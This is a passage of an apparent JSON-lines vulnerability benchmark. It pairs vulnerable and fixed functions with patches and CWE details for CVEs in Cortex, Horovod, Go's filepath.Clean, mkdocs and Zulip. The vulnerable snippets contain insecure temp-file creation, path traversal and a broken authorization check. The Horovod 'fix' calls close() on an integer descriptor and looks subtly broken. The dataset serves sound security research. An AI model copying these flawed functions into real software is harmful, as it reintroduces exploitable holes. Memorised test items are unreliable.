TLS ca_file, cert_file and key_file is not allowed\")\n+\terrSlackAPIURLFileNotAllowed     = errors.New(\"setting Slack api_url_file and global slack_api_url_file is not allowed\")\n+\terrVictorOpsAPIKeyFileNotAllowed = errors.New(\"setting VictorOps api_key_file is not allowed\")\n+\terrOpsGenieAPIKeyFileNotAllowed  = errors.New(\"setting OpsGenie api_key_file is not allowed\")\n+)\n\n--- a/pkg/alertmanager/api.go\n+++ b/pkg/alertmanager/api.go\n@@ -1,6 +1,93 @@\n-func validateGlobalConfig(cfg config.GlobalConfig) error {\n-\tif cfg.SlackAPIURLFile != \"\" {\n-\t\treturn errSlackAPIURLFileNotAllowed\n+func validateAlertmanagerConfig(cfg interface{}) error {\n+\tv := reflect.ValueOf(cfg)\n+\tt := v.Type()\n+\n+\t// Skip invalid, the zero value or a nil pointer (checked by zero value).\n+\tif !v.IsValid() || v.IsZero() {\n+\t\treturn nil\n \t}\n+\n+\t// If the input config is a pointer then we need to get its value.\n+\t// At this point the pointer value can't be nil.\n+\tif v.Kind() == reflect.Ptr {\n+\t\tv = v.Elem()\n+\t\tt = v.Type()\n+\t}\n+\n+\t// Check if the input config is a data type for which we have a specific validation.\n+\t// At this point the value can't be a pointer anymore.\n+\tswitch t {\n+\tcase reflect.TypeOf(config.GlobalConfig{}):\n+\t\tif err := validateGlobalConfig(v.Interface().(config.GlobalConfig)); err != nil {\n+\t\t\treturn err\n+\t\t}\n+\n+\tcase reflect.TypeOf(commoncfg.HTTPClientConfig{}):\n+\t\tif err := validateReceiverHTTPConfig(v.Interface().(commoncfg.HTTPClientConfig)); err != nil {\n+\t\t\treturn err\n+\t\t}\n+\n+\tcase reflect.TypeOf(config.OpsGenieConfig{}):\n+\t\tif err := validateOpsGenieConfig(v.Interface().(config.OpsGenieConfig)); err != nil {\n+\t\t\treturn err\n+\t\t}\n+\n+\tcase reflect.TypeOf(commoncfg.TLSConfig{}):\n+\t\tif err := validateReceiverTLSConfig(v.Interface().(commoncfg.TLSConfig)); err != nil {\n+\t\t\treturn err\n+\t\t}\n+\n+\tcase reflect.TypeOf(config.SlackConfig{}):\n+\t\tif err := validateSlackConfig(v.Interface().(config.SlackConfig)); err != nil {\n+\t\t\treturn err\n+\t\t}\n+\n+\tcase reflect.TypeOf(config.VictorOpsConfig{}):\n+\t\tif err := validateVictorOpsConfig(v.Interface().(config.VictorOpsConfig)); err != nil {\n+\t\t\treturn err\n+\t\t}\n+\t}\n+\n+\t// If the input config is a struct, recursively iterate on all fields.\n+\tif t.Kind() == reflect.Struct {\n+\t\tfor i := 0; i < t.NumField(); i++ {\n+\t\t\tfield := t.Field(i)\n+\t\t\tfieldValue := v.FieldByIndex(field.Index)\n+\n+\t\t\t// Skip any field value which can't be converted to interface (eg. primitive types).\n+\t\t\tif fieldValue.CanInterface() {\n+\t\t\t\tif err := validateAlertmanagerConfig(fieldValue.Interface()); err != nil {\n+\t\t\t\t\treturn err\n+\t\t\t\t}\n+\t\t\t}\n+\t\t}\n+\t}\n+\n+\tif t.Kind() == reflect.Slice || t.Kind() == reflect.Array {\n+\t\tfor i := 0; i < v.Len(); i++ {\n+\t\t\tfieldValue := v.Index(i)\n+\n+\t\t\t// Skip any field value which can't be converted to interface (eg. primitive types).\n+\t\t\tif fieldValue.CanInterface() {\n+\t\t\t\tif err := validateAlertmanagerConfig(fieldValue.Interface()); err != nil {\n+\t\t\t\t\treturn err\n+\t\t\t\t}\n+\t\t\t}\n+\t\t}\n+\t}\n+\n+\tif t.Kind() == reflect.Map {\n+\t\tfor _, key := range v.MapKeys() {\n+\t\t\tfieldValue := v.MapIndex(key)\n+\n+\t\t\t// Skip any field value which can't be converted to interface (eg. primitive types).\n+\t\t\tif fieldValue.CanInterface() {\n+\t\t\t\tif err := validateAlertmanagerConfig(fieldValue.Interface()); err != nil {\n+\t\t\t\t\treturn err\n+\t\t\t\t}\n+\t\t\t}\n+\t\t}\n+\t}\n+\n \treturn nil\n }\n\n--- /dev/null\n+++ b/pkg/alertmanager/api.go\n@@ -0,0 +1,9 @@\n+func validateGlobalConfig(cfg config.GlobalConfig) error {\n+\tif cfg.OpsGenieAPIKeyFile != \"\" {\n+\t\treturn errOpsGenieAPIKeyFileNotAllowed\n+\t}\n+\tif cfg.SlackAPIURLFile != \"\" {\n+\t\treturn errSlackAPIURLFileNotAllowed\n+\t}\n+\treturn nil\n+}\n\n--- /dev/null\n+++ b/pkg/alertmanager/api.go\n@@ -0,0 +1,6 @@\n+func validateOpsGenieConfig(cfg config.OpsGenieConfig) error {\n+\tif cfg.APIKeyFile != \"\" {\n+\t\treturn errOpsGenieAPIKeyFileNotAllowed\n+\t}\n+\treturn nil\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-23536:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/cortex\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestAMConfigValidationAPI$ github.com/cortexproject/cortex/pkg/alertmanager\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-23536:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/cortex\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestMultitenantAlertmanager_DeleteUserConfig|TestAMConfigListUserConfig|TestAMConfigValidationAPI|TestValidateAlertmanagerConfig)$' github.com/cortexproject/cortex/pkg/alertmanager\n"}
{"cve_id": "CVE-2022-0315", "cve_description": "Insecure Temporary File in GitHub repository horovod/horovod prior to 0.24.0.", "cwe_info": {"CWE-668": {"name": "Exposure of Resource to Wrong Sphere", "description": "The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource."}}, "repo": "https://github.com/horovod/horovod", "patch_url": ["https://github.com/horovod/horovod/commit/b96ecae4dc69fc0a83c7c2d3f1dde600c20a1b41"], "programing_language": "Python", "vul_func": [{"id": "vul_py_359_1", "commit": "655353fc345b6a2512839a5bfc7086a5c7c614cf", "file_path": "horovod/runner/js_run.py", "start_line": 96, "end_line": 146, "snippet": "def generate_jsrun_rankfile(settings, path=None):\n    \"\"\"\n    Generates rankfile to use with jsrun.\n    It splits the cores among the processes, which leads to best performance according to experiments.\n\n    Args:\n        settings: Settings for running jsrun.\n                  Note: settings.num_proc and settings.hosts must not be None.\n        path: Optional path of the rankfile.\n              Note: this file will be overwritten.\n    \"\"\"\n    cpu_per_gpu = (lsf.LSFUtils.get_num_cores() * lsf.LSFUtils.get_num_threads()) // lsf.LSFUtils.get_num_gpus()\n    host_list = (x.split(':') for x in settings.hosts.split(','))\n\n    # Verify and truncate host list if necessary\n    validated_list = []\n    remaining_slots = settings.num_proc\n    for host, slots in host_list:\n        slots = int(slots)\n        if slots > lsf.LSFUtils.get_num_gpus():\n            raise ValueError('Invalid host input, slot count for host \\'{host}:{slots}\\' is greater '\n                             'than number of GPUs per host \\'{gpus}\\'.'.format(\n                host=host, slots=slots, gpus=lsf.LSFUtils.get_num_gpus()))\n        needed_slots = min(slots, remaining_slots)\n        validated_list.append((host, needed_slots))\n        remaining_slots -= needed_slots\n        if remaining_slots == 0:\n            break\n    if remaining_slots != 0:\n        raise ValueError('Not enough slots on the hosts to fulfill the {slots} requested.'.format(\n            slots=settings.num_proc))\n\n    # Generate rankfile\n    path = tempfile.mktemp() if path is None else path\n    with open(path, 'w') as tmp:\n        tmp.write('overlapping_rs: allow\\n')\n        tmp.write('cpu_index_using: logical\\n')\n        rank = 0\n        for host, slots in validated_list:\n            cpu_val = 0\n            tmp.write('\\n')\n            for s in range(slots):\n                tmp.write('rank: {rank}: {{ hostname: {host}; cpu: {{{scpu}-{ecpu}}} ; gpu: * ; mem: * }}\\n'.format(\n                    rank=rank,\n                    host=host,\n                    scpu=cpu_val,\n                    ecpu=cpu_val + cpu_per_gpu - 1\n                ))\n                rank += 1\n                cpu_val += cpu_per_gpu\n    return path"}], "fix_func": [{"id": "fix_py_359_1", "commit": "b96ecae4dc69fc0a83c7c2d3f1dde600c20a1b41", "file_path": "horovod/runner/js_run.py", "start_line": 96, "end_line": 151, "snippet": "def generate_jsrun_rankfile(settings, path=None):\n    \"\"\"\n    Generates rankfile to use with jsrun.\n    It splits the cores among the processes, which leads to best performance according to experiments.\n\n    Args:\n        settings: Settings for running jsrun.\n                  Note: settings.num_proc and settings.hosts must not be None.\n        path: Optional path of the rankfile.\n              Note: this file will be overwritten.\n    \"\"\"\n    cpu_per_gpu = (lsf.LSFUtils.get_num_cores() * lsf.LSFUtils.get_num_threads()) // lsf.LSFUtils.get_num_gpus()\n    host_list = (x.split(':') for x in settings.hosts.split(','))\n\n    # Verify and truncate host list if necessary\n    validated_list = []\n    remaining_slots = settings.num_proc\n    for host, slots in host_list:\n        slots = int(slots)\n        if slots > lsf.LSFUtils.get_num_gpus():\n            raise ValueError('Invalid host input, slot count for host \\'{host}:{slots}\\' is greater '\n                             'than number of GPUs per host \\'{gpus}\\'.'.format(\n                host=host, slots=slots, gpus=lsf.LSFUtils.get_num_gpus()))\n        needed_slots = min(slots, remaining_slots)\n        validated_list.append((host, needed_slots))\n        remaining_slots -= needed_slots\n        if remaining_slots == 0:\n            break\n    if remaining_slots != 0:\n        raise ValueError('Not enough slots on the hosts to fulfill the {slots} requested.'.format(\n            slots=settings.num_proc))\n\n    # Generate rankfile\n    # using mkstemp here instead of insecure mktemp.\n    # note that the caller is responsible for cleaning up this file\n    if path is None:\n        fd, path = tempfile.mkstemp()\n        fd.close()\n\n    with open(path, 'w') as tmp:\n        tmp.write('overlapping_rs: allow\\n')\n        tmp.write('cpu_index_using: logical\\n')\n        rank = 0\n        for host, slots in validated_list:\n            cpu_val = 0\n            tmp.write('\\n')\n            for s in range(slots):\n                tmp.write('rank: {rank}: {{ hostname: {host}; cpu: {{{scpu}-{ecpu}}} ; gpu: * ; mem: * }}\\n'.format(\n                    rank=rank,\n                    host=host,\n                    scpu=cpu_val,\n                    ecpu=cpu_val + cpu_per_gpu - 1\n                ))\n                rank += 1\n                cpu_val += cpu_per_gpu\n    return path"}], "vul_patch": "--- a/horovod/runner/js_run.py\n+++ b/horovod/runner/js_run.py\n@@ -31,7 +31,12 @@\n             slots=settings.num_proc))\n \n     # Generate rankfile\n-    path = tempfile.mktemp() if path is None else path\n+    # using mkstemp here instead of insecure mktemp.\n+    # note that the caller is responsible for cleaning up this file\n+    if path is None:\n+        fd, path = tempfile.mkstemp()\n+        fd.close()\n+\n     with open(path, 'w') as tmp:\n         tmp.write('overlapping_rs: allow\\n')\n         tmp.write('cpu_index_using: logical\\n')\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-29804", "cve_description": "Incorrect conversion of certain invalid paths to valid, absolute paths in Clean in path/filepath before Go 1.17.11 and Go 1.18.3 on Windows allows potential directory traversal attack.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/golang/go", "patch_url": ["https://github.com/golang/go/commit/5a89bb334d1280b0219108a8ee63c14dd04aa8fd"], "programing_language": "Go", "vul_func": [{"id": "vul_go_255_1", "commit": "da608a20ed87b7c6c860eaaf4f2dec39492f9da4", "file_path": "src/path/filepath/path.go", "start_line": 89, "end_line": 161, "snippet": "func Clean(path string) string {\n\toriginalPath := path\n\tvolLen := volumeNameLen(path)\n\tpath = path[volLen:]\n\tif path == \"\" {\n\t\tif volLen > 1 && originalPath[1] != ':' {\n\t\t\t// should be UNC\n\t\t\treturn FromSlash(originalPath)\n\t\t}\n\t\treturn originalPath + \".\"\n\t}\n\trooted := os.IsPathSeparator(path[0])\n\n\t// Invariants:\n\t//\treading from path; r is index of next byte to process.\n\t//\twriting to buf; w is index of next byte to write.\n\t//\tdotdot is index in buf where .. must stop, either because\n\t//\t\tit is the leading slash or it is a leading ../../.. prefix.\n\tn := len(path)\n\tout := lazybuf{path: path, volAndPath: originalPath, volLen: volLen}\n\tr, dotdot := 0, 0\n\tif rooted {\n\t\tout.append(Separator)\n\t\tr, dotdot = 1, 1\n\t}\n\n\tfor r < n {\n\t\tswitch {\n\t\tcase os.IsPathSeparator(path[r]):\n\t\t\t// empty path element\n\t\t\tr++\n\t\tcase path[r] == '.' && (r+1 == n || os.IsPathSeparator(path[r+1])):\n\t\t\t// . element\n\t\t\tr++\n\t\tcase path[r] == '.' && path[r+1] == '.' && (r+2 == n || os.IsPathSeparator(path[r+2])):\n\t\t\t// .. element: remove to last separator\n\t\t\tr += 2\n\t\t\tswitch {\n\t\t\tcase out.w > dotdot:\n\t\t\t\t// can backtrack\n\t\t\t\tout.w--\n\t\t\t\tfor out.w > dotdot && !os.IsPathSeparator(out.index(out.w)) {\n\t\t\t\t\tout.w--\n\t\t\t\t}\n\t\t\tcase !rooted:\n\t\t\t\t// cannot backtrack, but not rooted, so append .. element.\n\t\t\t\tif out.w > 0 {\n\t\t\t\t\tout.append(Separator)\n\t\t\t\t}\n\t\t\t\tout.append('.')\n\t\t\t\tout.append('.')\n\t\t\t\tdotdot = out.w\n\t\t\t}\n\t\tdefault:\n\t\t\t// real path element.\n\t\t\t// add slash if needed\n\t\t\tif rooted && out.w != 1 || !rooted && out.w != 0 {\n\t\t\t\tout.append(Separator)\n\t\t\t}\n\t\t\t// copy element\n\t\t\tfor ; r < n && !os.IsPathSeparator(path[r]); r++ {\n\t\t\t\tout.append(path[r])\n\t\t\t}\n\t\t}\n\t}\n\n\t// Turn empty string into \".\"\n\tif out.w == 0 {\n\t\tout.append('.')\n\t}\n\n\treturn FromSlash(out.string())\n}"}], "fix_func": [{"id": "fix_go_255_1", "commit": "5a89bb334d1280b0219108a8ee63c14dd04aa8fd", "file_path": "src/path/filepath/path.go", "start_line": 89, "end_line": 173, "snippet": "func Clean(path string) string {\n\toriginalPath := path\n\tvolLen := volumeNameLen(path)\n\tpath = path[volLen:]\n\tif path == \"\" {\n\t\tif volLen > 1 && originalPath[1] != ':' {\n\t\t\t// should be UNC\n\t\t\treturn FromSlash(originalPath)\n\t\t}\n\t\treturn originalPath + \".\"\n\t}\n\trooted := os.IsPathSeparator(path[0])\n\n\t// Invariants:\n\t//\treading from path; r is index of next byte to process.\n\t//\twriting to buf; w is index of next byte to write.\n\t//\tdotdot is index in buf where .. must stop, either because\n\t//\t\tit is the leading slash or it is a leading ../../.. prefix.\n\tn := len(path)\n\tout := lazybuf{path: path, volAndPath: originalPath, volLen: volLen}\n\tr, dotdot := 0, 0\n\tif rooted {\n\t\tout.append(Separator)\n\t\tr, dotdot = 1, 1\n\t}\n\n\tfor r < n {\n\t\tswitch {\n\t\tcase os.IsPathSeparator(path[r]):\n\t\t\t// empty path element\n\t\t\tr++\n\t\tcase path[r] == '.' && r+1 == n:\n\t\t\t// . element\n\t\t\tr++\n\t\tcase path[r] == '.' && os.IsPathSeparator(path[r+1]):\n\t\t\t// ./ element\n\t\t\tr++\n\n\t\t\tfor r < len(path) && os.IsPathSeparator(path[r]) {\n\t\t\t\tr++\n\t\t\t}\n\t\t\tif out.w == 0 && volumeNameLen(path[r:]) > 0 {\n\t\t\t\t// When joining prefix \".\" and an absolute path on Windows,\n\t\t\t\t// the prefix should not be removed.\n\t\t\t\tout.append('.')\n\t\t\t}\n\t\tcase path[r] == '.' && path[r+1] == '.' && (r+2 == n || os.IsPathSeparator(path[r+2])):\n\t\t\t// .. element: remove to last separator\n\t\t\tr += 2\n\t\t\tswitch {\n\t\t\tcase out.w > dotdot:\n\t\t\t\t// can backtrack\n\t\t\t\tout.w--\n\t\t\t\tfor out.w > dotdot && !os.IsPathSeparator(out.index(out.w)) {\n\t\t\t\t\tout.w--\n\t\t\t\t}\n\t\t\tcase !rooted:\n\t\t\t\t// cannot backtrack, but not rooted, so append .. element.\n\t\t\t\tif out.w > 0 {\n\t\t\t\t\tout.append(Separator)\n\t\t\t\t}\n\t\t\t\tout.append('.')\n\t\t\t\tout.append('.')\n\t\t\t\tdotdot = out.w\n\t\t\t}\n\t\tdefault:\n\t\t\t// real path element.\n\t\t\t// add slash if needed\n\t\t\tif rooted && out.w != 1 || !rooted && out.w != 0 {\n\t\t\t\tout.append(Separator)\n\t\t\t}\n\t\t\t// copy element\n\t\t\tfor ; r < n && !os.IsPathSeparator(path[r]); r++ {\n\t\t\t\tout.append(path[r])\n\t\t\t}\n\t\t}\n\t}\n\n\t// Turn empty string into \".\"\n\tif out.w == 0 {\n\t\tout.append('.')\n\t}\n\n\treturn FromSlash(out.string())\n}"}], "vul_patch": "--- a/src/path/filepath/path.go\n+++ b/src/path/filepath/path.go\n@@ -29,9 +29,21 @@\n \t\tcase os.IsPathSeparator(path[r]):\n \t\t\t// empty path element\n \t\t\tr++\n-\t\tcase path[r] == '.' && (r+1 == n || os.IsPathSeparator(path[r+1])):\n+\t\tcase path[r] == '.' && r+1 == n:\n \t\t\t// . element\n \t\t\tr++\n+\t\tcase path[r] == '.' && os.IsPathSeparator(path[r+1]):\n+\t\t\t// ./ element\n+\t\t\tr++\n+\n+\t\t\tfor r < len(path) && os.IsPathSeparator(path[r]) {\n+\t\t\t\tr++\n+\t\t\t}\n+\t\t\tif out.w == 0 && volumeNameLen(path[r:]) > 0 {\n+\t\t\t\t// When joining prefix \".\" and an absolute path on Windows,\n+\t\t\t\t// the prefix should not be removed.\n+\t\t\t\tout.append('.')\n+\t\t\t}\n \t\tcase path[r] == '.' && path[r+1] == '.' && (r+2 == n || os.IsPathSeparator(path[r+2])):\n \t\t\t// .. element: remove to last separator\n \t\t\tr += 2\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-40978", "cve_description": "The mkdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain :sensitive information. NOTE: the vendor has disputed this as described in https://github.com/mkdocs/mkdocs/issues/2601.] and https://github.com/nisdn/CVE-2021-40978/issues/1", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/mkdocs/mkdocs", "patch_url": ["https://github.com/mkdocs/mkdocs/commit/1b15412f4caae476c262210315fd068d0521a833", "https://github.com/mkdocs/mkdocs/commit/57540911a0d632674dd23edec765189f96f84f6b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_137_1", "commit": "e0ba6d7", "file_path": "mkdocs/livereload/__init__.py", "start_line": 162, "end_line": 219, "snippet": "    def _serve_request(self, environ, start_response):\n        # https://bugs.python.org/issue16679\n        # https://github.com/bottlepy/bottle/blob/f9b1849db4/bottle.py#L984\n        path = environ[\"PATH_INFO\"].encode(\"latin-1\").decode(\"utf-8\", \"ignore\")\n\n        m = re.fullmatch(r\"/livereload/([0-9]+)/[0-9]+\", path)\n        if m:\n            epoch = int(m[1])\n            start_response(\"200 OK\", [(\"Content-Type\", \"text/plain\")])\n\n            def condition():\n                return self._visible_epoch > epoch\n\n            with self._epoch_cond:\n                if not condition():\n                    # Stall the browser, respond as soon as there's something new.\n                    # If there's not, respond anyway after a minute.\n                    self._log_poll_request(environ.get(\"HTTP_REFERER\"), request_id=path)\n                    self._epoch_cond.wait_for(condition, timeout=self.poll_response_timeout)\n                return [b\"%d\" % self._visible_epoch]\n\n        if path == \"/js/livereload.js\":\n            file_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"livereload.js\")\n        elif path.startswith(self.mount_path):\n            if path.endswith(\"/\"):\n                path += \"index.html\"\n            path = path[len(self.mount_path):]\n            file_path = os.path.join(self.root, path.lstrip(\"/\"))\n        elif path == \"/\":\n            start_response(\"302 Found\", [(\"Location\", self.mount_path)])\n            return []\n        else:\n            return None  # Not found\n\n        # Wait until the ongoing rebuild (if any) finishes, so we're not serving a half-built site.\n        with self._epoch_cond:\n            self._epoch_cond.wait_for(lambda: self._visible_epoch == self._wanted_epoch)\n            epoch = self._visible_epoch\n\n        try:\n            file = open(file_path, \"rb\")\n        except OSError:\n            return None  # Not found\n\n        if path.endswith(\".html\"):\n            with file:\n                content = file.read()\n            content = self._inject_js_into_html(content, epoch)\n            file = io.BytesIO(content)\n            content_length = len(content)\n        else:\n            content_length = os.path.getsize(file_path)\n\n        content_type = self._guess_type(file_path)\n        start_response(\n            \"200 OK\", [(\"Content-Type\", content_type), (\"Content-Length\", str(content_length))]\n        )\n        return wsgiref.util.FileWrapper(file)"}], "fix_func": [{"id": "fix_py_137_1", "commit": "1b15412", "file_path": "mkdocs/livereload/__init__.py", "start_line": 162, "end_line": 222, "snippet": "    def _serve_request(self, environ, start_response):\n        # https://bugs.python.org/issue16679\n        # https://github.com/bottlepy/bottle/blob/f9b1849db4/bottle.py#L984\n        path = environ[\"PATH_INFO\"].encode(\"latin-1\").decode(\"utf-8\", \"ignore\")\n\n        m = re.fullmatch(r\"/livereload/([0-9]+)/[0-9]+\", path)\n        if m:\n            epoch = int(m[1])\n            start_response(\"200 OK\", [(\"Content-Type\", \"text/plain\")])\n\n            def condition():\n                return self._visible_epoch > epoch\n\n            with self._epoch_cond:\n                if not condition():\n                    # Stall the browser, respond as soon as there's something new.\n                    # If there's not, respond anyway after a minute.\n                    self._log_poll_request(environ.get(\"HTTP_REFERER\"), request_id=path)\n                    self._epoch_cond.wait_for(condition, timeout=self.poll_response_timeout)\n                return [b\"%d\" % self._visible_epoch]\n\n        if path == \"/js/livereload.js\":\n            file_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"livereload.js\")\n        elif path.startswith(self.mount_path):\n            rel_file_path = path[len(self.mount_path):].lstrip(\"/\")\n            if path.endswith(\"/\"):\n                rel_file_path += \"index.html\"\n            file_path = os.path.join(self.root, rel_file_path)\n        elif path == \"/\":\n            start_response(\"302 Found\", [(\"Location\", self.mount_path)])\n            return []\n        else:\n            return None  # Not found\n\n        # Wait until the ongoing rebuild (if any) finishes, so we're not serving a half-built site.\n        with self._epoch_cond:\n            self._epoch_cond.wait_for(lambda: self._visible_epoch == self._wanted_epoch)\n            epoch = self._visible_epoch\n\n        try:\n            file = open(file_path, \"rb\")\n        except OSError:\n            if not path.endswith(\"/\") and os.path.isfile(os.path.join(file_path, \"index.html\")):\n                start_response(\"302 Found\", [(\"Location\", path + \"/\")])\n                return []\n            return None  # Not found\n\n        if file_path.endswith(\".html\"):\n            with file:\n                content = file.read()\n            content = self._inject_js_into_html(content, epoch)\n            file = io.BytesIO(content)\n            content_length = len(content)\n        else:\n            content_length = os.path.getsize(file_path)\n\n        content_type = self._guess_type(file_path)\n        start_response(\n            \"200 OK\", [(\"Content-Type\", content_type), (\"Content-Length\", str(content_length))]\n        )\n        return wsgiref.util.FileWrapper(file)"}], "vul_patch": "--- a/mkdocs/livereload/__init__.py\n+++ b/mkdocs/livereload/__init__.py\n@@ -22,10 +22,10 @@\n         if path == \"/js/livereload.js\":\n             file_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"livereload.js\")\n         elif path.startswith(self.mount_path):\n+            rel_file_path = path[len(self.mount_path):].lstrip(\"/\")\n             if path.endswith(\"/\"):\n-                path += \"index.html\"\n-            path = path[len(self.mount_path):]\n-            file_path = os.path.join(self.root, path.lstrip(\"/\"))\n+                rel_file_path += \"index.html\"\n+            file_path = os.path.join(self.root, rel_file_path)\n         elif path == \"/\":\n             start_response(\"302 Found\", [(\"Location\", self.mount_path)])\n             return []\n@@ -40,9 +40,12 @@\n         try:\n             file = open(file_path, \"rb\")\n         except OSError:\n+            if not path.endswith(\"/\") and os.path.isfile(os.path.join(file_path, \"index.html\")):\n+                start_response(\"302 Found\", [(\"Location\", path + \"/\")])\n+                return []\n             return None  # Not found\n \n-        if path.endswith(\".html\"):\n+        if file_path.endswith(\".html\"):\n             with file:\n                 content = file.read()\n             content = self._inject_js_into_html(content, epoch)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-31168", "cve_description": "Zulip is an open source team chat tool. Due to an incorrect authorization check in Zulip Server 5.4 and earlier, a member of an organization could craft an API call that grants organization administrator privileges to one of their bots. The vulnerability is fixed in Zulip Server 5.5. Members who don\u2019t own any bots, and lack permission to create them, can\u2019t exploit the vulnerability. As a workaround for the vulnerability, an organization administrator can restrict the `Who can create bots` permission to administrators only, and change the ownership of existing bots.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/zulip/zulip", "patch_url": ["https://github.com/zulip/zulip/commit/751b2a03e565e9eb02ffe923b7c24ac73d604034"], "programing_language": "Python", "vul_func": [{"id": "vul_py_409_1", "commit": "ad2ca0e6685f9aa46a1df1495fc08e73b98e1091", "file_path": "zerver/views/users.py", "start_line": 172, "end_line": 231, "snippet": "def update_user_backend(\n    request: HttpRequest,\n    user_profile: UserProfile,\n    user_id: int,\n    full_name: Optional[str] = REQ(default=None),\n    role: Optional[int] = REQ(\n        default=None,\n        json_validator=check_int_in(\n            UserProfile.ROLE_TYPES,\n        ),\n    ),\n    profile_data: Optional[List[Dict[str, Optional[Union[int, ProfileDataElementValue]]]]] = REQ(\n        default=None,\n        json_validator=check_profile_data,\n    ),\n) -> HttpResponse:\n    target = access_user_by_id(\n        user_profile, user_id, allow_deactivated=True, allow_bots=True, for_admin=True\n    )\n\n    if role is not None and target.role != role:\n        # Require that the current user has permissions to\n        # grant/remove the role in question.  access_user_by_id has\n        # already verified we're an administrator; here we enforce\n        # that only owners can toggle the is_realm_owner flag.\n        #\n        # Logic replicated in patch_bot_backend.\n        if UserProfile.ROLE_REALM_OWNER in [role, target.role] and not user_profile.is_realm_owner:\n            raise OrganizationOwnerRequired()\n\n        if target.role == UserProfile.ROLE_REALM_OWNER and check_last_owner(target):\n            raise JsonableError(\n                _(\"The owner permission cannot be removed from the only organization owner.\")\n            )\n        do_change_user_role(target, role, acting_user=user_profile)\n\n    if full_name is not None and target.full_name != full_name and full_name.strip() != \"\":\n        # We don't respect `name_changes_disabled` here because the request\n        # is on behalf of the administrator.\n        check_change_full_name(target, full_name, user_profile)\n\n    if profile_data is not None:\n        clean_profile_data: List[ProfileDataElementUpdateDict] = []\n        for entry in profile_data:\n            assert isinstance(entry[\"id\"], int)\n            assert not isinstance(entry[\"value\"], int)\n            if entry[\"value\"] is None or not entry[\"value\"]:\n                field_id = entry[\"id\"]\n                check_remove_custom_profile_field_value(target, field_id)\n            else:\n                clean_profile_data.append(\n                    {\n                        \"id\": entry[\"id\"],\n                        \"value\": entry[\"value\"],\n                    }\n                )\n        validate_user_custom_profile_data(target.realm.id, clean_profile_data)\n        do_update_user_custom_profile_data_if_changed(target, clean_profile_data)\n\n    return json_success(request)"}, {"id": "vul_py_409_2", "commit": "ad2ca0e6685f9aa46a1df1495fc08e73b98e1091", "file_path": "zerver/views/users.py", "start_line": 304, "end_line": 404, "snippet": "def patch_bot_backend(\n    request: HttpRequest,\n    user_profile: UserProfile,\n    bot_id: int,\n    full_name: Optional[str] = REQ(default=None),\n    role: Optional[int] = REQ(\n        default=None,\n        json_validator=check_int_in(\n            UserProfile.ROLE_TYPES,\n        ),\n    ),\n    bot_owner_id: Optional[int] = REQ(json_validator=check_int, default=None),\n    config_data: Optional[Dict[str, str]] = REQ(\n        default=None, json_validator=check_dict(value_validator=check_string)\n    ),\n    service_payload_url: Optional[str] = REQ(json_validator=check_url, default=None),\n    service_interface: int = REQ(json_validator=check_int, default=1),\n    default_sending_stream: Optional[str] = REQ(default=None),\n    default_events_register_stream: Optional[str] = REQ(default=None),\n    default_all_public_streams: Optional[bool] = REQ(default=None, json_validator=check_bool),\n) -> HttpResponse:\n    bot = access_bot_by_id(user_profile, bot_id)\n\n    if full_name is not None:\n        check_change_bot_full_name(bot, full_name, user_profile)\n\n    if role is not None and bot.role != role:\n        # Logic duplicated from update_user_backend.\n        if UserProfile.ROLE_REALM_OWNER in [role, bot.role] and not user_profile.is_realm_owner:\n            raise OrganizationOwnerRequired()\n\n        do_change_user_role(bot, role, acting_user=user_profile)\n\n    if bot_owner_id is not None:\n        try:\n            owner = get_user_profile_by_id_in_realm(bot_owner_id, user_profile.realm)\n        except UserProfile.DoesNotExist:\n            raise JsonableError(_(\"Failed to change owner, no such user\"))\n        if not owner.is_active:\n            raise JsonableError(_(\"Failed to change owner, user is deactivated\"))\n        if owner.is_bot:\n            raise JsonableError(_(\"Failed to change owner, bots can't own other bots\"))\n\n        previous_owner = bot.bot_owner\n        if previous_owner != owner:\n            do_change_bot_owner(bot, owner, user_profile)\n\n    if default_sending_stream is not None:\n        if default_sending_stream == \"\":\n            stream: Optional[Stream] = None\n        else:\n            (stream, sub) = access_stream_by_name(user_profile, default_sending_stream)\n        do_change_default_sending_stream(bot, stream, acting_user=user_profile)\n    if default_events_register_stream is not None:\n        if default_events_register_stream == \"\":\n            stream = None\n        else:\n            (stream, sub) = access_stream_by_name(user_profile, default_events_register_stream)\n        do_change_default_events_register_stream(bot, stream, acting_user=user_profile)\n    if default_all_public_streams is not None:\n        do_change_default_all_public_streams(\n            bot, default_all_public_streams, acting_user=user_profile\n        )\n\n    if service_payload_url is not None:\n        